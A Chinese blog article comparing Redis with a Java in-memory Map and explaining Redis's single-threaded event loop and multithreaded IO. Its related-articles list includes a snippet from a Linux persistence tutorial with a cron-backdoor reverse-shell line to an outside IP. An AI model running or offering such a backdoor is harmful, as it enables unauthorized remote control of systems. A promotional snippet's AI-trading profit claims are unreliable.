为什么用Redis?说说Redis的线程模型

news2024/9/19 13:17:43

使用Redis存储相比直接使用Java内存的Map有以下几个优势:

持久化:

Redis支持数据持久化,即使发生服务器重启或意外宕机,数据仍然可以被恢复。而使用Java内存的Map,当应用程序关闭或重启时,数据将会丢失。

分布式支持:

Redis是一个分布式数据库,可以通过配置集群来水平扩展和处理大规模的数据集。相比之下,Java内存的Map仅限于单个应用程序实例,无法进行分布式部署。

高级数据结构:

Redis提供了丰富的数据结构,如字符串、哈希表、列表、集合和有序集合等,并且支持在这些数据结构上执行各种原子操作和高级操作。这使得Redis能够更方便地处理复杂的数据操作和查询。而Java内存的Map只提供了基本的键值对数据结构。

缓存功能:

Redis常用于作为缓存层,可以通过设置过期时间、LRU策略等来自动管理缓存数据,帮助减轻数据库的负载压力。而Java内存的Map没有提供像Redis一样的缓存管理功能。

数据类型灵活:

Redis支持多种操作类型并提供了相应的操作方法,可以满足不同场景下的需求。Java内存的Map只能存储简单的键值对。

需要注意的是,Redis作为一个独立的数据库服务,与应用程序通过网络进行通信。而Java内存的Map直接在程序内部使用。因此,使用Redis可能会引入一些额外的网络开销和延迟。对于较小规模的数据集和简单的数据需求,直接使用Java内存的Map可能更加合适。但对于大规模的、需要持久化、分布式支持以及复杂数据操作的场景,Redis是一个更强大和适用的选择。

为什么要用Redis?

从上面可知:Redis是基于内存,常用作于缓存的一种技术,并且Redis存储的方式是以key-value的形式。

我们可以发现这不就是Java的Map容器所拥有的特性吗,那为什么还需要Redis呢?

1.Java实现的Map是本地缓存,如果有多台实例(机器)的话,每个实例都需要各自保存一份缓存,缓存不具有一致性。

2.Redis实现的是分布式缓存,如果有多台实例(机器)的话,每个实例都共享一份缓存,缓存具有一致性。

3.Java实现的Map不是专业做缓存的,JVM内存太大容易挂掉的。一般用做于容器来存储临时数据,缓存的数据随着JVM摧毁而结束。Map所存储的数据结构,缓存过期机制等等是需要程序员自己手写的。

4.Redis是专业做缓存的,可以用几十个G来做缓存。Redis一般用作缓存,可以将缓存数据保存在硬盘中,Redis重启了后可以将其恢复。原生提供丰富的数据结构、缓存过期机制,等等简单好用的功能。

1、本地缓存资源浪费

多个业务系统的节点每个都要存一份,10个节点的集群就浪费了9份。

2、本地缓存有内存一致性问题

不同节点的本地内存数据,版本会不一致。就是说A节点数据值是x2,但B节点还没来得及更新还是x1。这会导致不同用户请求,甚至在同一个用户请求打到不同节点上,值不一样,造成业务错误。

3、本地缓存的机器内存有限

Redis集群模式,是分片的,内存理论上是可以无限扩展,轻松存个几百G。而业务程序不可能存的下。

Redis的线程模型

Redis最初设计为单线程的服务器,即所有的客户端请求都由主线程顺序地处理。这意味着在同一时间,Redis只能处理一个请求。虽然听起来单线程可能会成为性能瓶颈,但由于 Redis 的核心操作都是在内存中完成的,且单个操作的执行速度非常快,因此单线程模型在大多数情况下都能提供高性能。

为什么 Redis 选择单线程模型

  1. 避免了线程切换的开销:线程切换会带来 CPU 上下文切换的开销。由于 Redis 的操作通常非常快速,线程切换的成本可能会比操作本身还高。

  2. 简化了代码实现:单线程模型避免了多线程编程中的竞态条件、死锁等复杂问题,使代码更加简单可靠。

  3. 利用 IO 多路复用技术:Redis 使用了 IO 多路复用机制,通过 epollkqueue 等系统调用,同时监听多个文件描述符(客户端连接),当某个文件描述符就绪时,主线程会处理相应的事件。

Redis 的多线程优化

尽管 Redis 的核心操作是单线程的,但在 Redis 6.0 及以后的版本中,引入了 多线程 IO 特性,用于优化网络 IO 的性能。

多线程 IO 模型
  • 背景:在高并发环境下,网络数据的读写会占用 Redis 主线程的部分时间,导致处理请求的效率下降。

  • 实现方式:Redis 在接收客户端的请求时,使用多线程并行地读取网络数据,将请求数据读入内存缓冲区。

  • 工作流程

    1. 主线程:负责接受新的客户端连接,管理客户端状态,以及执行具体的命令操作。

    2. IO 线程:在读取阶段,多个 IO 线程并行地从已就绪的客户端连接中读取请求数据。在回复阶段,IO 线程也可以并行地将响应数据写回给客户端。

注意事项
  • 线程安全:Redis 确保在多线程模型下的数据安全性,IO 线程仅负责数据的读写,不涉及对数据的修改操作。

  • 性能提升:在网络带宽高、CPU 多核的环境下,启用多线程 IO 可以显著提升 Redis 的吞吐量。

Redis 的事件循环机制

Redis 的单线程通过 事件循环 来管理所有的事件,包括网络事件和定时任务。事件循环主要包括以下部分:

  1. 文件事件处理器:基于 Reactor 模式,使用 IO 多路复用机制监听套接字事件,将就绪的事件放入队列中处理。

  2. 时间事件处理器:处理定时任务,如键的过期检查、异步任务等。

  3. 事件调度器:循环地从事件队列中取出事件,调用相应的事件处理器。

总结

  • 单线程核心:Redis 的核心操作(如命令执行)依然是单线程的,这使得 Redis 在处理数据时避免了锁的竞争,保证了操作的原子性。

  • 多线程 IO 优化:从 Redis 6.0 开始,引入了多线程 IO,以优化网络数据的读写,提高高并发环境下的性能。

  • 适用场景:对于多数使用场景,默认的单线程模型已经足够高效。只有在网络 IO 成为瓶颈时,才需要考虑启用多线程 IO。

  • 感谢你看到最后,最后再说两点~
      ①如果你持有不同的看法,欢迎你在文章下方进行留言、评论。
      ②如果对你有帮助,或者你认可的话,欢迎给个小点赞,支持一下~

    感兴趣的可以关注公众号一起学习,我会不定期发布学习和一些有意思的见闻。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2119451.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

一个工程要兼容mysql8和mysql5

将mysql8原本jar包的jdbc文件夹删除,然后将mysql5 jar包的jdbc文件夹和fabric文件夹拉到mysql8的jar包下,记得别把jar包解压再压缩,以避免不必要的错误,直接用7-zip打开压缩包,然后拖拽操作,然后完美解决&a…

Java:类和方法(1)

一 类和对象分别是什么 1.类(class) 类是Java中的一种蓝图或模板,它定义了对象的属性(字段)和行为(方法)。你可以把类看作是一个抽象的概念,它描述了某类事物的共性。 class 类名…

硬件工程师笔试面试——IGBT

目录 7、IGBT(绝缘栅双极晶体管) 7.1 基础 IGBT结构引脚图 IGBT实物图 7.1.1 概念 7.1.2 结构及原理 7.1.3 IGBT的安全工作区 7.1.4 IGBT分类 7.1.5 IGBT优缺点 7.2 相关问题 7.2.1 如何提高IGBT的开关速度和效率? 7.2.2 IGBT在太阳能光伏系统中的作用是什么,它如…

3GPP R18 Network energy savings(NES) 之cell DTX/DRX

在TR 21.918中可以看到cell DTX/DRX是Network energy savings(NES) for NR 的一部分,其中还包括 SSB-less SCell operation for inter-band CA等等其他内容,其相关描述如下 网络节能是 5G/NR 成功的关键,由此可以减少对环境的影响(温室气体排放)并节省运营成本。RAN WG 进…

ICE 8月各项板块盈利报告,人工智能与高频交易驱动稳定收益

Intercontinental Exchange Inc.(ICE.AI)近日发布了8月份市场交易报告和盈利数据,于8月份通过其先进的人工智能算法和高频交易系统,再次证明了在快速变化的金融市场中实现稳定收益的能力。凭借智能化的交易决策和超高的交易执行速度,ICE.AI帮助每一位用户在全球市场中获得了显著…

基于人工智能的智能垃圾分类系统

目录 引言项目背景环境准备 硬件要求软件安装与配置系统设计 系统架构关键技术代码示例 数据预处理模型训练与预测应用场景结论 1. 引言 随着环保意识的提升,垃圾分类已经成为许多城市的重点任务。然而,传统的人工垃圾分类效率低下,容易出…

机器学习:opencv--图像形态学

目录 前言 一、常用形态学操作 二、腐蚀和膨胀 1.图像腐蚀 2.图形膨胀 三、开运算和闭运算 1.开运算 2.闭运算 四、顶帽和黑帽 1.顶帽 2.黑帽 五、梯度运算 总结 前言 图像形态学是一种用于处理和分析图像形状和结构的技术。 一、常用形态学操作 膨胀&#xff08…

【CanMV K230】快速线性回归(巡线)

【CanMV K230】快速线性回归(巡线) 什么是快速线性回归快速线性回归应用领域1.机器人竞赛2.自动引导车(AGV):3.智能交通系统: K230应用相关函数官方例程实现图像在HDMI显示器进快速线性回归(巡线…

C++基础知识6 vector

vector 1.vector的介绍及使用1.1 vector的介绍1.2 vector的使用1.2.1 vector的定义1.2.2 vector iterator 的使用1.2.3 vector 常用的接口1.2.4 vector 空间增长问题1.2.4 vector 迭代器失效问题。(重点) 2.vector模拟实现 1.vector的介绍及使用 1.1 ve…

数据分析-埋点

1、数据埋点的定义 针对特定用户行为或事件进行捕获、处理何发送的相关技术及其实施过程。 2、数据埋点的原理 埋点是数据采集的重要方式。通过在页面上植入代码,监控用户行为(例:页面加载、按钮点击等)。用户一旦触发了该事件,就会根据埋点信息将相关数…

Linux网盘,编程者的选择,让技术为数据服务,创造无限价值!“#Linux系统编程《网盘项目》

"Linux网盘,编程者的选择,让技术为数据服务,创造无限价值!"#Linux系统编程《网盘项目》 前言预备知识一、 项目功能二、 程序基本框架2.1 服务器程序流图2.2 客户端程序流图 三、 程序代码解析3.1 服务器代码解析3.1.1 …

Spring6学习笔记3:AOP

文章目录 1 场景模拟1.1 声明接口1.2 创建实现类1.3 创建带日志功能的实现类1.4 提出问题 2 代理模式2.1 概念2.2 静态代理2.3 动态代理2.4 测试 3 AOP概念及相关术语3.1 概述3.2 相关术语3.2.1 横切关注点3.2.2 通知(增强)3.2.3 切面3.2.4 目标3.2.5 代…

初始MYSQL数据库(4)—— “不一样的“新增与查询

找往期文章包括但不限于本期文章中不懂的知识点: 个人主页:我要学编程(ಥ_ಥ)-CSDN博客 所属专栏: MYSQL 目录 新增 查询 聚合查询 聚合查询的相关练习 GROUP BY子句 HAVING 联合查询 内连接 外连接 自连接 子查询 合并查询…

第145天:内网安全-Linux权限维持Rootkit后门Strace监控Alias别名Cron定时任务

案例一:权限维持-Linux-定时任务-Cron后门 linux的计时任务,配置文件再/etc/crontab下 创建后门文件,这里可以创建成隐藏文件 vim /etc/.back.sh 反弹shell的内容 #!/bin/bash bash -i >& /dev/tcp/47.94.236.117/3333 0>&…

猫咪掉毛怎么处理?希喂、米家、范罗士宠物空气净化器用哪款?

我朋友在大学里养了两年猫,刚开始养的时候全寝都很喜欢,甚至隔壁宿舍的都来看,而且猫咪很亲人,没有对别人哈气,一片其乐融融的情景。 但是养了三个月之后,宿舍矛盾开始爆发,有一位舍友和她吵了…

博科测试业绩有所承压:资产负债率远高同行,连年分红后再补流

​ 《港湾商业观察》施子夫 王璐 日前,北京博科测试系统股份有限公司(以下简称,博科测试)提交了注册申请,其距离创业板上市更近一步。 时间线上,早在2022年4月21日,博科测试就递交招股书&…

goby/xray批量导入自定义poc(附2024红队POC)

自定义xray2024最新公开poc &#xff1a;夸克网盘分享 Xray Xray 官方文档 介绍 - xray Documentation 基础爬虫模式进行漏洞扫描 xray webscan --basic-crawler <URL> --html-output xray-crawler-testphp.html 基础模式进行漏洞扫描&#xff0c;不使用爬虫 xray …

VS Studio2022 最新的mission planner二次开发环境搭建 所有资源都在自己亲测 自己一步步搞出来的花了1个月(小白转行版

文章目录 1. 环境要求1.1 VS Studio下载1.2 Mission Planner2 Mission Planner打包msi(使用使用VisualStudio2022插件(Visual Studio Installer Projects 2022))3 打开设计器FlightData.cs1. 环境要求 Win10以上(目前实测了11,10也可以的) 1.1 VS Studio下载 VS Studio20…

Redis主从数据同步过程:命令传播、部分重同步、复制偏移量等

请记住胡广一句话&#xff0c;所有的中间件所有的框架都是建立在基础之上&#xff0c;数据结构&#xff0c;计算机网络&#xff0c;计算机原理大伙一定得看透&#xff01;&#xff01;~ 1. Redis数据同步 1.1 数据同步过程 大家有没想过为什么Redis多机要进行数据同步&#…

NodeMCU-ESP8266+flash_download_tool_3.9.7 烧录

USB-TTL 接 NodeMCU的RXD0, TXD0, GND 例程hello_world&#xff1a; Eclipse编译信息&#xff1a; python /d/ESP/ESP8266_RTOS_SDK/ESP8266_RTOS_SDK/components/esptool_py/esptool/esptool.py --chip esp8266 --port COM6 --baud 115200 --before default_reset --after …